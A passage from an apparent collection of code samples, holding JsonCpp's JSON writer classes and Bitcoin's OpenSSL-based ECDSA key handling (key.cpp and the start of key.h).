maxsize = strlen(value)*2 + 3; // allescaped+quotes+NULL\n   std::string result;\n   result.reserve(maxsize); // to avoid lots of mallocs\n   result += \"\\\"\";\n   for (const char* c=value; *c != 0; ++c)\n   {\n      switch(*c)\n      {\n         case '\\\"':\n            result += \"\\\\\\\"\";\n            break;\n         case '\\\\':\n            result += \"\\\\\\\\\";\n            break;\n         case '\\b':\n            result += \"\\\\b\";\n            break;\n         case '\\f':\n            result += \"\\\\f\";\n            break;\n         case '\\n':\n            result += \"\\\\n\";\n            break;\n         case '\\r':\n            result += \"\\\\r\";\n            break;\n         case '\\t':\n            result += \"\\\\t\";\n            break;\n         //case '/':\n            // Even though \\/ is considered a legal escape in JSON, a bare\n            // slash is also legal, so I see no reason to escape it.\n            // (I hope I am not misunderstanding something.\n            // blep notes: actually escaping \\/ may be useful in javascript to avoid </ \n            // sequence.\n            // Should add a flag to allow this compatibility mode and prevent this \n            // sequence from occurring.\n         default:\n            if ( isControlCharacter( *c ) )\n            {\n               std::ostringstream oss;\n               oss << \"\\\\u\" << std::hex << std::uppercase << std::setfill('0') << std::setw(4) << static_cast<int>(*c);\n               result += oss.str();\n            }\n            else\n            {\n               result += *c;\n            }\n            break;\n      }\n   }\n   result += \"\\\"\";\n   return result;\n}\n\n// Class Writer\n// //////////////////////////////////////////////////////////////////\nWriter::~Writer()\n{\n}\n\n\n// Class FastWriter\n// //////////////////////////////////////////////////////////////////\n\nFastWriter::FastWriter()\n   : yamlCompatiblityEnabled_( false )\n{\n}\n\n\nvoid \nFastWriter::enableYAMLCompatibility()\n{\n   yamlCompatiblityEnabled_ = true;\n}\n\n\nstd::string \nFastWriter::write( const Value &root )\n{\n   document_ = \"\";\n   writeValue( root );\n   document_ += \"\\n\";\n   return document_;\n}\n\n\nvoid \nFastWriter::writeValue( const Value &value )\n{\n   switch ( value.type() )\n   {\n   case nullValue:\n      document_ += \"null\";\n      break;\n   case intValue:\n      document_ += valueToString( value.asInt() );\n      break;\n   case uintValue:\n      document_ += valueToString( value.asUInt() );\n      break;\n   case realValue:\n      document_ += valueToString( value.asDouble() );\n      break;\n   case stringValue:\n      document_ += valueToQuotedString( value.asCString() );\n      break;\n   case booleanValue:\n      document_ += valueToString( value.asBool() );\n      break;\n   case arrayValue:\n      {\n         document_ += \"[\";\n         int size = value.size();\n         for ( int index =0; index < size; ++index )\n         {\n            if ( index > 0 )\n               document_ += \",\";\n            writeValue( value[index] );\n         }\n         document_ += \"]\";\n      }\n      break;\n   case objectValue:\n      {\n         Value::Members members( value.getMemberNames() );\n         document_ += \"{\";\n         for ( Value::Members::iterator it = members.begin(); \n               it != members.end(); \n               ++it )\n         {\n            const std::string &name = *it;\n            if ( it != members.begin() )\n               document_ += \",\";\n            document_ += valueToQuotedString( name.c_str() );\n            document_ += yamlCompatiblityEnabled_ ? \": \" \n                                                  : \":\";\n            writeValue( value[name] );\n         }\n         document_ += \"}\";\n      }\n      break;\n   }\n}\n\n\n// Class StyledWriter\n// //////////////////////////////////////////////////////////////////\n\nStyledWriter::StyledWriter()\n   : rightMargin_( 74 )\n   , indentSize_( 3 )\n{\n}\n\n\nstd::string \nStyledWriter::write( const Value &root )\n{\n   document_ = \"\";\n   addChildValues_ = false;\n   indentString_ = \"\";\n   writeCommentBeforeValue( root );\n   writeValue( root );\n   writeCommentAfterValueOnSameLine( root );\n   document_ += \"\\n\";\n   return document_;\n}\n\n\nvoid \nStyledWriter::writeValue( const Value &value )\n{\n   switch ( value.type() )\n   {\n   case nullValue:\n      pushValue( \"null\" );\n      break;\n   case intValue:\n      pushValue( valueToString( value.asInt() ) );\n      break;\n   case uintValue:\n      pushValue( valueToString( value.asUInt() ) );\n      break;\n   case realValue:\n      pushValue( valueToString( value.asDouble() ) );\n      break;\n   case stringValue:\n      pushValue( valueToQuotedString( value.asCString() ) );\n      break;\n   case booleanValue:\n      pushValue( valueToString( value.asBool() ) );\n      break;\n   case arrayValue:\n      writeArrayValue( value);\n      break;\n   case objectValue:\n      {\n         Value::Members members( value.getMemberNames() );\n         if ( members.empty() )\n            pushValue( \"{}\" );\n         else\n         {\n            writeWithIndent( \"{\" );\n            indent();\n            Value::Members::iterator it = members.begin();\n            while ( true )\n            {\n               const std::string &name = *it;\n               const Value &childValue = value[name];\n               writeCommentBeforeValue( childValue );\n               writeWithIndent( valueToQuotedString( name.c_str() ) );\n               document_ += \" : \";\n               writeValue( childValue );\n               if ( ++it == members.end() )\n               {\n                  writeCommentAfterValueOnSameLine( childValue );\n                  break;\n               }\n               document_ += \",\";\n               writeCommentAfterValueOnSameLine( childValue );\n            }\n            unindent();\n            writeWithIndent( \"}\" );\n         }\n      }\n      break;\n   }\n}\n\n\nvoid \nStyledWriter::writeArrayValue( const Value &value )\n{\n   unsigned size = value.size();\n   if ( size == 0 )\n      pushValue( \"[]\" );\n   else\n   {\n      bool isArrayMultiLine = isMultineArray( value );\n      if ( isArrayMultiLine )\n      {\n         writeWithIndent( \"[\" );\n         indent();\n         bool hasChildValue = !childValues_.empty();\n         unsigned index =0;\n         while ( true )\n         {\n            const Value &childValue = value[index];\n            writeCommentBeforeValue( childValue );\n            if ( hasChildValue )\n               writeWithIndent( childValues_[index] );\n            else\n            {\n               writeIndent();\n               writeValue( childValue );\n            }\n            if ( ++index == size )\n            {\n               writeCommentAfterValueOnSameLine( childValue );\n               break;\n            }\n            document_ += \",\";\n            writeCommentAfterValueOnSameLine( childValue );\n         }\n         unindent();\n         writeWithIndent( \"]\" );\n      }\n      else // output on a single line\n      {\n         assert( childValues_.size() == size );\n         document_ += \"[ \";\n         for ( unsigned index =0; index < size; ++index )\n         {\n            if ( index > 0 )\n               document_ += \", \";\n            document_ += childValues_[index];\n         }\n         document_ += \" ]\";\n      }\n   }\n}\n\n\nbool \nStyledWriter::isMultineArray( const Value &value )\n{\n   int size = value.size();\n   bool isMultiLine = size*3 >= rightMargin_ ;\n   childValues_.clear();\n   for ( int index =0; index < size  &&  !isMultiLine; ++index )\n   {\n      const Value &childValue = value[index];\n      isMultiLine = isMultiLine  ||\n                     ( (childValue.isArray()  ||  childValue.isObject())  &&  \n                        childValue.size() > 0 );\n   }\n   if ( !isMultiLine ) // check if line length > max line length\n   {\n      childValues_.reserve( size );\n      addChildValues_ = true;\n      int lineLength = 4 + (size-1)*2; // '[ ' + ', '*n + ' ]'\n      for ( int index =0; index < size  &&  !isMultiLine; ++index )\n      {\n         writeValue( value[index] );\n         lineLength += int( childValues_[index].length() );\n         isMultiLine = isMultiLine  &&  hasCommentForValue( value[index] );\n      }\n      addChildValues_ = false;\n      isMultiLine = isMultiLine  ||  lineLength >= rightMargin_;\n   }\n   return isMultiLine;\n}\n\n\nvoid \nStyledWriter::pushValue( const std::string &value )\n{\n   if ( addChildValues_ )\n      childValues_.push_back( value );\n   else\n      document_ += value;\n}\n\n\nvoid \nStyledWriter::writeIndent()\n{\n   if ( !document_.empty() )\n   {\n      char last = document_[document_.length()-1];\n      if ( last == ' ' )     // already indented\n         return;\n      if ( last != '\\n' )    // Comments may add new-line\n         document_ += '\\n';\n   }\n   document_ += indentString_;\n}\n\n\nvoid \nStyledWriter::writeWithIndent( const std::string &value )\n{\n   writeIndent();\n   document_ += value;\n}\n\n\nvoid \nStyledWriter::indent()\n{\n   indentString_ += std::string( indentSize_, ' ' );\n}\n\n\nvoid \nStyledWriter::unindent()\n{\n   assert( int(indentString_.size()) >= indentSize_ );\n   indentString_.resize( indentString_.size() - indentSize_ );\n}\n\n\nvoid \nStyledWriter::writeCommentBeforeValue( const Value &root )\n{\n   if ( !root.hasComment( commentBefore ) )\n      return;\n   document_ += normalizeEOL( root.getComment( commentBefore ) );\n   document_ += \"\\n\";\n}\n\n\nvoid \nStyledWriter::writeCommentAfterValueOnSameLine( const Value &root )\n{\n   if ( root.hasComment( commentAfterOnSameLine ) )\n      document_ += \" \" + normalizeEOL( root.getComment( commentAfterOnSameLine ) );\n\n   if ( root.hasComment( commentAfter ) )\n   {\n      document_ += \"\\n\";\n      document_ += normalizeEOL( root.getComment( commentAfter ) );\n      document_ += \"\\n\";\n   }\n}\n\n\nbool \nStyledWriter::hasCommentForValue( const Value &value )\n{\n   return value.hasComment( commentBefore )\n          ||  value.hasComment( commentAfterOnSameLine )\n          ||  value.hasComment( commentAfter );\n}\n\n\nstd::string \nStyledWriter::normalizeEOL( const std::string &text )\n{\n   std::string normalized;\n   normalized.reserve( text.length() );\n   const char *begin = text.c_str();\n   const char *end = begin + text.length();\n   const char *current = begin;\n   while ( current != end )\n   {\n      char c = *current++;\n      if ( c == '\\r' ) // mac or dos EOL\n      {\n         if ( *current == '\\n' ) // convert dos EOL\n            ++current;\n         normalized += '\\n';\n      }\n      else // handle unix EOL & other char\n         normalized += c;\n   }\n   return normalized;\n}\n\n\n// Class StyledStreamWriter\n// //////////////////////////////////////////////////////////////////\n\nStyledStreamWriter::StyledStreamWriter( std::string indentation )\n   : document_(NULL)\n   , rightMargin_( 74 )\n   , indentation_( indentation )\n{\n}\n\n\nvoid\nStyledStreamWriter::write( std::ostream &out, const Value &root )\n{\n   document_ = &out;\n   addChildValues_ = false;\n   indentString_ = \"\";\n   writeCommentBeforeValue( root );\n   writeValue( root );\n   writeCommentAfterValueOnSameLine( root );\n   *document_ << \"\\n\";\n   document_ = NULL; // Forget the stream, for safety.\n}\n\n\nvoid \nStyledStreamWriter::writeValue( const Value &value )\n{\n   switch ( value.type() )\n   {\n   case nullValue:\n      pushValue( \"null\" );\n      break;\n   case intValue:\n      pushValue( valueToString( value.asInt() ) );\n      break;\n   case uintValue:\n      pushValue( valueToString( value.asUInt() ) );\n      break;\n   case realValue:\n      pushValue( valueToString( value.asDouble() ) );\n      break;\n   case stringValue:\n      pushValue( valueToQuotedString( value.asCString() ) );\n      break;\n   case booleanValue:\n      pushValue( valueToString( value.asBool() ) );\n      break;\n   case arrayValue:\n      writeArrayValue( value);\n      break;\n   case objectValue:\n      {\n         Value::Members members( value.getMemberNames() );\n         if ( members.empty() )\n            pushValue( \"{}\" );\n         else\n         {\n            writeWithIndent( \"{\" );\n            indent();\n            Value::Members::iterator it = members.begin();\n            while ( true )\n            {\n               const std::string &name = *it;\n               const Value &childValue = value[name];\n               writeCommentBeforeValue( childValue );\n               writeWithIndent( valueToQuotedString( name.c_str() ) );\n               *document_ << \" : \";\n               writeValue( childValue );\n               if ( ++it == members.end() )\n               {\n                  writeCommentAfterValueOnSameLine( childValue );\n                  break;\n               }\n               *document_ << \",\";\n               writeCommentAfterValueOnSameLine( childValue );\n            }\n            unindent();\n            writeWithIndent( \"}\" );\n         }\n      }\n      break;\n   }\n}\n\n\nvoid \nStyledStreamWriter::writeArrayValue( const Value &value )\n{\n   unsigned size = value.size();\n   if ( size == 0 )\n      pushValue( \"[]\" );\n   else\n   {\n      bool isArrayMultiLine = isMultineArray( value );\n      if ( isArrayMultiLine )\n      {\n         writeWithIndent( \"[\" );\n         indent();\n         bool hasChildValue = !childValues_.empty();\n         unsigned index =0;\n         while ( true )\n         {\n            const Value &childValue = value[index];\n            writeCommentBeforeValue( childValue );\n            if ( hasChildValue )\n               writeWithIndent( childValues_[index] );\n            else\n            {\n\t       writeIndent();\n               writeValue( childValue );\n            }\n            if ( ++index == size )\n            {\n               writeCommentAfterValueOnSameLine( childValue );\n               break;\n            }\n            *document_ << \",\";\n            writeCommentAfterValueOnSameLine( childValue );\n         }\n         unindent();\n         writeWithIndent( \"]\" );\n      }\n      else // output on a single line\n      {\n         assert( childValues_.size() == size );\n         *document_ << \"[ \";\n         for ( unsigned index =0; index < size; ++index )\n         {\n            if ( index > 0 )\n               *document_ << \", \";\n            *document_ << childValues_[index];\n         }\n         *document_ << \" ]\";\n      }\n   }\n}\n\n\nbool \nStyledStreamWriter::isMultineArray( const Value &value )\n{\n   int size = value.size();\n   bool isMultiLine = size*3 >= rightMargin_ ;\n   childValues_.clear();\n   for ( int index =0; index < size  &&  !isMultiLine; ++index )\n   {\n      const Value &childValue = value[index];\n      isMultiLine = isMultiLine  ||\n                     ( (childValue.isArray()  ||  childValue.isObject())  &&  \n                        childValue.size() > 0 );\n   }\n   if ( !isMultiLine ) // check if line length > max line length\n   {\n      childValues_.reserve( size );\n      addChildValues_ = true;\n      int lineLength = 4 + (size-1)*2; // '[ ' + ', '*n + ' ]'\n      for ( int index =0; index < size  &&  !isMultiLine; ++index )\n      {\n         writeValue( value[index] );\n         lineLength += int( childValues_[index].length() );\n         isMultiLine = isMultiLine  &&  hasCommentForValue( value[index] );\n      }\n      addChildValues_ = false;\n      isMultiLine = isMultiLine  ||  lineLength >= rightMargin_;\n   }\n   return isMultiLine;\n}\n\n\nvoid \nStyledStreamWriter::pushValue( const std::string &value )\n{\n   if ( addChildValues_ )\n      childValues_.push_back( value );\n   else\n      *document_ << value;\n}\n\n\nvoid \nStyledStreamWriter::writeIndent()\n{\n  /*\n    Some comments in this method would have been nice. ;-)\n\n   if ( !document_.empty() )\n   {\n      char last = document_[document_.length()-1];\n      if ( last == ' ' )     // already indented\n         return;\n      if ( last != '\\n' )    // Comments may add new-line\n         *document_ << '\\n';\n   }\n  */\n   *document_ << '\\n' << indentString_;\n}\n\n\nvoid \nStyledStreamWriter::writeWithIndent( const std::string &value )\n{\n   writeIndent();\n   *document_ << value;\n}\n\n\nvoid \nStyledStreamWriter::indent()\n{\n   indentString_ += indentation_;\n}\n\n\nvoid \nStyledStreamWriter::unindent()\n{\n   assert( indentString_.size() >= indentation_.size() );\n   indentString_.resize( indentString_.size() - indentation_.size() );\n}\n\n\nvoid \nStyledStreamWriter::writeCommentBeforeValue( const Value &root )\n{\n   if ( !root.hasComment( commentBefore ) )\n      return;\n   *document_ << normalizeEOL( root.getComment( commentBefore ) );\n   *document_ << \"\\n\";\n}\n\n\nvoid \nStyledStreamWriter::writeCommentAfterValueOnSameLine( const Value &root )\n{\n   if ( root.hasComment( commentAfterOnSameLine ) )\n      *document_ << \" \" + normalizeEOL( root.getComment( commentAfterOnSameLine ) );\n\n   if ( root.hasComment( commentAfter ) )\n   {\n      *document_ << \"\\n\";\n      *document_ << normalizeEOL( root.getComment( commentAfter ) );\n      *document_ << \"\\n\";\n   }\n}\n\n\nbool \nStyledStreamWriter::hasCommentForValue( const Value &value )\n{\n   return value.hasComment( commentBefore )\n          ||  value.hasComment( commentAfterOnSameLine )\n          ||  value.hasComment( commentAfter );\n}\n\n\nstd::string \nStyledStreamWriter::normalizeEOL( const std::string &text )\n{\n   std::string normalized;\n   normalized.reserve( text.length() );\n   const char *begin = text.c_str();\n   const char *end = begin + text.length();\n   const char *current = begin;\n   while ( current != end )\n   {\n      char c = *current++;\n      if ( c == '\\r' ) // mac or dos EOL\n      {\n         if ( *current == '\\n' ) // convert dos EOL\n            ++current;\n         normalized += '\\n';\n      }\n      else // handle unix EOL & other char\n         normalized += c;\n   }\n   return normalized;\n}\n\n\nstd::ostream& operator<<( std::ostream &sout, const Value &root )\n{\n   Json::StyledStreamWriter writer;\n   writer.write(sout, root);\n   return sout;\n}\n\n\n} // namespace Json\n"
  },
  {
    "path": "samples/C++/key.cpp",
    "content": "// Copyright (c) 2009-2012 The Bitcoin developers\n// Distributed under the MIT/X11 software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n\n#include <map>\n\n#include <openssl/ecdsa.h>\n#include <openssl/obj_mac.h>\n\n#include \"key.h\"\n\n// Generate a private key from just the secret parameter\nint EC_KEY_regenerate_key(EC_KEY *eckey, BIGNUM *priv_key)\n{\n    int ok = 0;\n    BN_CTX *ctx = NULL;\n    EC_POINT *pub_key = NULL;\n\n    if (!eckey) return 0;\n\n    const EC_GROUP *group = EC_KEY_get0_group(eckey);\n\n    if ((ctx = BN_CTX_new()) == NULL)\n        goto err;\n\n    pub_key = EC_POINT_new(group);\n\n    if (pub_key == NULL)\n        goto err;\n\n    if (!EC_POINT_mul(group, pub_key, priv_key, NULL, NULL, ctx))\n        goto err;\n\n    EC_KEY_set_private_key(eckey,priv_key);\n    EC_KEY_set_public_key(eckey,pub_key);\n\n    ok = 1;\n\nerr:\n\n    if (pub_key)\n        EC_POINT_free(pub_key);\n    if (ctx != NULL)\n        BN_CTX_free(ctx);\n\n    return(ok);\n}\n\n// Perform ECDSA key recovery (see SEC1 4.1.6) for curves over (mod p)-fields\n// recid selects which key is recovered\n// if check is nonzero, additional checks are performed\nint ECDSA_SIG_recover_key_GFp(EC_KEY *eckey, ECDSA_SIG *ecsig, const unsigned char *msg, int msglen, int recid, int check)\n{\n    if (!eckey) return 0;\n\n    int ret = 0;\n    BN_CTX *ctx = NULL;\n\n    BIGNUM *x = NULL;\n    BIGNUM *e = NULL;\n    BIGNUM *order = NULL;\n    BIGNUM *sor = NULL;\n    BIGNUM *eor = NULL;\n    BIGNUM *field = NULL;\n    EC_POINT *R = NULL;\n    EC_POINT *O = NULL;\n    EC_POINT *Q = NULL;\n    BIGNUM *rr = NULL;\n    BIGNUM *zero = NULL;\n    int n = 0;\n    int i = recid / 2;\n\n    const EC_GROUP *group = EC_KEY_get0_group(eckey);\n    if ((ctx = BN_CTX_new()) == NULL) { ret = -1; goto err; }\n    BN_CTX_start(ctx);\n    order = BN_CTX_get(ctx);\n    if (!EC_GROUP_get_order(group, order, ctx)) { ret = -2; goto err; }\n    x = BN_CTX_get(ctx);\n    if (!BN_copy(x, order)) { ret=-1; goto err; }\n    if (!BN_mul_word(x, i)) { ret=-1; goto err; }\n    if (!BN_add(x, x, ecsig->r)) { ret=-1; goto err; }\n    field = BN_CTX_get(ctx);\n    if (!EC_GROUP_get_curve_GFp(group, field, NULL, NULL, ctx)) { ret=-2; goto err; }\n    if (BN_cmp(x, field) >= 0) { ret=0; goto err; }\n    if ((R = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n    if (!EC_POINT_set_compressed_coordinates_GFp(group, R, x, recid % 2, ctx)) { ret=0; goto err; }\n    if (check)\n    {\n        if ((O = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n        if (!EC_POINT_mul(group, O, NULL, R, order, ctx)) { ret=-2; goto err; }\n        if (!EC_POINT_is_at_infinity(group, O)) { ret = 0; goto err; }\n    }\n    if ((Q = EC_POINT_new(group)) == NULL) { ret = -2; goto err; }\n    n = EC_GROUP_get_degree(group);\n    e = BN_CTX_get(ctx);\n    if (!BN_bin2bn(msg, msglen, e)) { ret=-1; goto err; }\n    if (8*msglen > n) BN_rshift(e, e, 8-(n & 7));\n    zero = BN_CTX_get(ctx);\n    if (!BN_zero(zero)) { ret=-1; goto err; }\n    if (!BN_mod_sub(e, zero, e, order, ctx)) { ret=-1; goto err; }\n    rr = BN_CTX_get(ctx);\n    if (!BN_mod_inverse(rr, ecsig->r, order, ctx)) { ret=-1; goto err; }\n    sor = BN_CTX_get(ctx);\n    if (!BN_mod_mul(sor, ecsig->s, rr, order, ctx)) { ret=-1; goto err; }\n    eor = BN_CTX_get(ctx);\n    if (!BN_mod_mul(eor, e, rr, order, ctx)) { ret=-1; goto err; }\n    if (!EC_POINT_mul(group, Q, eor, R, sor, ctx)) { ret=-2; goto err; }\n    if (!EC_KEY_set_public_key(eckey, Q)) { ret=-2; goto err; }\n\n    ret = 1;\n\nerr:\n    if (ctx) {\n        BN_CTX_end(ctx);\n        BN_CTX_free(ctx);\n    }\n    if (R != NULL) EC_POINT_free(R);\n    if (O != NULL) EC_POINT_free(O);\n    if (Q != NULL) EC_POINT_free(Q);\n    return ret;\n}\n\nvoid CKey::SetCompressedPubKey()\n{\n    EC_KEY_set_conv_form(pkey, POINT_CONVERSION_COMPRESSED);\n    fCompressedPubKey = true;\n}\n\nvoid CKey::Reset()\n{\n    fCompressedPubKey = false;\n    pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n    if (pkey == NULL)\n        throw key_error(\"CKey::CKey() : EC_KEY_new_by_curve_name failed\");\n    fSet = false;\n}\n\nCKey::CKey()\n{\n    Reset();\n}\n\nCKey::CKey(const CKey& b)\n{\n    pkey = EC_KEY_dup(b.pkey);\n    if (pkey == NULL)\n        throw key_error(\"CKey::CKey(const CKey&) : EC_KEY_dup failed\");\n    fSet = b.fSet;\n}\n\nCKey& CKey::operator=(const CKey& b)\n{\n    if (!EC_KEY_copy(pkey, b.pkey))\n        throw key_error(\"CKey::operator=(const CKey&) : EC_KEY_copy failed\");\n    fSet = b.fSet;\n    return (*this);\n}\n\nCKey::~CKey()\n{\n    EC_KEY_free(pkey);\n}\n\nbool CKey::IsNull() const\n{\n    return !fSet;\n}\n\nbool CKey::IsCompressed() const\n{\n    return fCompressedPubKey;\n}\n\nvoid CKey::MakeNewKey(bool fCompressed)\n{\n    if (!EC_KEY_generate_key(pkey))\n        throw key_error(\"CKey::MakeNewKey() : EC_KEY_generate_key failed\");\n    if (fCompressed)\n        SetCompressedPubKey();\n    fSet = true;\n}\n\nbool CKey::SetPrivKey(const CPrivKey& vchPrivKey)\n{\n    const unsigned char* pbegin = &vchPrivKey[0];\n    if (!d2i_ECPrivateKey(&pkey, &pbegin, vchPrivKey.size()))\n        return false;\n    fSet = true;\n    return true;\n}\n\nbool CKey::SetSecret(const CSecret& vchSecret, bool fCompressed)\n{\n    EC_KEY_free(pkey);\n    pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n    if (pkey == NULL)\n        throw key_error(\"CKey::SetSecret() : EC_KEY_new_by_curve_name failed\");\n    if (vchSecret.size() != 32)\n        throw key_error(\"CKey::SetSecret() : secret must be 32 bytes\");\n    BIGNUM *bn = BN_bin2bn(&vchSecret[0],32,BN_new());\n    if (bn == NULL)\n        throw key_error(\"CKey::SetSecret() : BN_bin2bn failed\");\n    if (!EC_KEY_regenerate_key(pkey,bn))\n    {\n        BN_clear_free(bn);\n        throw key_error(\"CKey::SetSecret() : EC_KEY_regenerate_key failed\");\n    }\n    BN_clear_free(bn);\n    fSet = true;\n    if (fCompressed || fCompressedPubKey)\n        SetCompressedPubKey();\n    return true;\n}\n\nCSecret CKey::GetSecret(bool &fCompressed) const\n{\n    CSecret vchRet;\n    vchRet.resize(32);\n    const BIGNUM *bn = EC_KEY_get0_private_key(pkey);\n    int nBytes = BN_num_bytes(bn);\n    if (bn == NULL)\n        throw key_error(\"CKey::GetSecret() : EC_KEY_get0_private_key failed\");\n    int n=BN_bn2bin(bn,&vchRet[32 - nBytes]);\n    if (n != nBytes)\n        throw key_error(\"CKey::GetSecret(): BN_bn2bin failed\");\n    fCompressed = fCompressedPubKey;\n    return vchRet;\n}\n\nCPrivKey CKey::GetPrivKey() const\n{\n    int nSize = i2d_ECPrivateKey(pkey, NULL);\n    if (!nSize)\n        throw key_error(\"CKey::GetPrivKey() : i2d_ECPrivateKey failed\");\n    CPrivKey vchPrivKey(nSize, 0);\n    unsigned char* pbegin = &vchPrivKey[0];\n    if (i2d_ECPrivateKey(pkey, &pbegin) != nSize)\n        throw key_error(\"CKey::GetPrivKey() : i2d_ECPrivateKey returned unexpected size\");\n    return vchPrivKey;\n}\n\nbool CKey::SetPubKey(const CPubKey& vchPubKey)\n{\n    const unsigned char* pbegin = &vchPubKey.vchPubKey[0];\n    if (!o2i_ECPublicKey(&pkey, &pbegin, vchPubKey.vchPubKey.size()))\n        return false;\n    fSet = true;\n    if (vchPubKey.vchPubKey.size() == 33)\n        SetCompressedPubKey();\n    return true;\n}\n\nCPubKey CKey::GetPubKey() const\n{\n    int nSize = i2o_ECPublicKey(pkey, NULL);\n    if (!nSize)\n        throw key_error(\"CKey::GetPubKey() : i2o_ECPublicKey failed\");\n    std::vector<unsigned char> vchPubKey(nSize, 0);\n    unsigned char* pbegin = &vchPubKey[0];\n    if (i2o_ECPublicKey(pkey, &pbegin) != nSize)\n        throw key_error(\"CKey::GetPubKey() : i2o_ECPublicKey returned unexpected size\");\n    return CPubKey(vchPubKey);\n}\n\nbool CKey::Sign(uint256 hash, std::vector<unsigned char>& vchSig)\n{\n    unsigned int nSize = ECDSA_size(pkey);\n    vchSig.resize(nSize); // Make sure it is big enough\n    if (!ECDSA_sign(0, (unsigned char*)&hash, sizeof(hash), &vchSig[0], &nSize, pkey))\n    {\n        vchSig.clear();\n        return false;\n    }\n    vchSig.resize(nSize); // Shrink to fit actual size\n    return true;\n}\n\n// create a compact signature (65 bytes), which allows reconstructing the used public key\n// The format is one header byte, followed by two times 32 bytes for the serialized r and s values.\n// The header byte: 0x1B = first key with even y, 0x1C = first key with odd y,\n//                  0x1D = second key with even y, 0x1E = second key with odd y\nbool CKey::SignCompact(uint256 hash, std::vector<unsigned char>& vchSig)\n{\n    bool fOk = false;\n    ECDSA_SIG *sig = ECDSA_do_sign((unsigned char*)&hash, sizeof(hash), pkey);\n    if (sig==NULL)\n        return false;\n    vchSig.clear();\n    vchSig.resize(65,0);\n    int nBitsR = BN_num_bits(sig->r);\n    int nBitsS = BN_num_bits(sig->s);\n    if (nBitsR <= 256 && nBitsS <= 256)\n    {\n        int nRecId = -1;\n        for (int i=0; i<4; i++)\n        {\n            CKey keyRec;\n            keyRec.fSet = true;\n            if (fCompressedPubKey)\n                keyRec.SetCompressedPubKey();\n            if (ECDSA_SIG_recover_key_GFp(keyRec.pkey, sig, (unsigned char*)&hash, sizeof(hash), i, 1) == 1)\n                if (keyRec.GetPubKey() == this->GetPubKey())\n                {\n                    nRecId = i;\n                    break;\n                }\n        }\n\n        if (nRecId == -1)\n            throw key_error(\"CKey::SignCompact() : unable to construct recoverable key\");\n\n        vchSig[0] = nRecId+27+(fCompressedPubKey ? 4 : 0);\n        BN_bn2bin(sig->r,&vchSig[33-(nBitsR+7)/8]);\n        BN_bn2bin(sig->s,&vchSig[65-(nBitsS+7)/8]);\n        fOk = true;\n    }\n    ECDSA_SIG_free(sig);\n    return fOk;\n}\n\n// reconstruct public key from a compact signature\n// This is only slightly more CPU intensive than just verifying it.\n// If this function succeeds, the recovered public key is guaranteed to be valid\n// (the signature is a valid signature of the given data for that key)\nbool CKey::SetCompactSignature(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n    if (vchSig.size() != 65)\n        return false;\n    int nV = vchSig[0];\n    if (nV<27 || nV>=35)\n        return false;\n    ECDSA_SIG *sig = ECDSA_SIG_new();\n    BN_bin2bn(&vchSig[1],32,sig->r);\n    BN_bin2bn(&vchSig[33],32,sig->s);\n\n    EC_KEY_free(pkey);\n    pkey = EC_KEY_new_by_curve_name(NID_secp256k1);\n    if (nV >= 31)\n    {\n        SetCompressedPubKey();\n        nV -= 4;\n    }\n    if (ECDSA_SIG_recover_key_GFp(pkey, sig, (unsigned char*)&hash, sizeof(hash), nV - 27, 0) == 1)\n    {\n        fSet = true;\n        ECDSA_SIG_free(sig);\n        return true;\n    }\n    return false;\n}\n\nbool CKey::Verify(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n    // -1 = error, 0 = bad sig, 1 = good\n    if (ECDSA_verify(0, (unsigned char*)&hash, sizeof(hash), &vchSig[0], vchSig.size(), pkey) != 1)\n        return false;\n\n    return true;\n}\n\nbool CKey::VerifyCompact(uint256 hash, const std::vector<unsigned char>& vchSig)\n{\n    CKey key;\n    if (!key.SetCompactSignature(hash, vchSig))\n        return false;\n    if (GetPubKey() != key.GetPubKey())\n        return false;\n\n    return true;\n}\n\nbool CKey::IsValid()\n{\n    if (!fSet)\n        return false;\n\n    bool fCompr;\n    CSecret secret = GetSecret(fCompr);\n    CKey key2;\n    key2.SetSecret(secret, fCompr);\n    return GetPubKey() == key2.GetPubKey();\n}\n"
  },
  {
    "path": "samples/C++/key.h",
    "content": "// Copyright (c) 2009-2010 Satoshi Nakamoto\n// Copyright (c) 2009-2012 The Bitcoin developers\n// Distributed under the MIT/X11 software license, see the accompanying\n// file COPYING or http://www.opensource.org/licenses/mit-license.php.\n#ifndef BITCOIN_KEY_H\n#define BITCOIN_KEY_H\n\n#include <stdexcept>\n#include <vector>\n\n#include \"allocators.h\"\n#include \"serialize.h\"\n#include \"uint256.h\"\n#include \"util.h\"\n\n#include <openssl/ec.h> // for EC_KEY definition\n\n// secp160k1\n// const unsigned int PRIVATE_KEY_SIZE = 192;\n// const unsigned int PUBLIC_KEY_SIZE  = 41;\n// const unsigned int SIGNATURE_SIZE   = 48;\n//\n// secp192k1\n// const unsigned int PRIVATE_KEY_SIZE = 222;\n// const unsigned int PUBLIC_KEY_SIZE  = 49;\n// const unsigned int SIGNATURE_SIZE   = 57;\n//\n// secp224k1\n// const unsigned int PRIVATE_KEY_SIZE = 250;\n// const unsigned int PUBLIC_KEY_SIZE  = 57;\n// const unsigned int SIGNATURE_SIZE   = 66;\n//\n// secp256k1:\n// const unsigned int PRIVATE_KEY_SIZE = 279;\n// const unsigned int PUBLIC_KEY_SIZE  = 65;\n// const unsigned int SIGNATURE_SIZE   = 72;\n//\n// see www.keylength.com\n// script supports up to 75 for single byte push\n\nclass key_error : public std::runtime_error\n{\npublic:\n    explicit key_error(const std::string& str) : std::runtime_error(str) {}\n};\n\n/** A reference to a CKey: the Hash160 of its serialized public key */\nclass CKeyID : public uint160\n{\npublic:\n    CKeyID() : uint160(0) { }\n    CKeyID(const uint160 &in) : uint160(in) { }\n};\n\n/** A reference to a CScript: the Hash160 of its serialization (see script.h) */\nclass CScriptID : public uint160\n{\npublic:\n    CScriptID() : uint160(0) { }\n    CScriptID(const uint160 &in) : uint160(in) { }\n};\n\n/** An encapsulated public key. */\nclass CPubKey {\nprivate:\n    std::vector<unsigned char> vchPubKey;\n    friend class CKey;\n\npublic:\n    CPubKey() { }\n    CPubKey(const std::vector<unsigned char> &vchPubKeyIn) : vchPubKey(vchPubKeyIn) { }\n    friend bool operator==(const CPubKey &a, const CPubKey &b) { return a.vchPubKey == b.vchPubKey; }\n    friend bool operator!=(const CPubKey &a, const 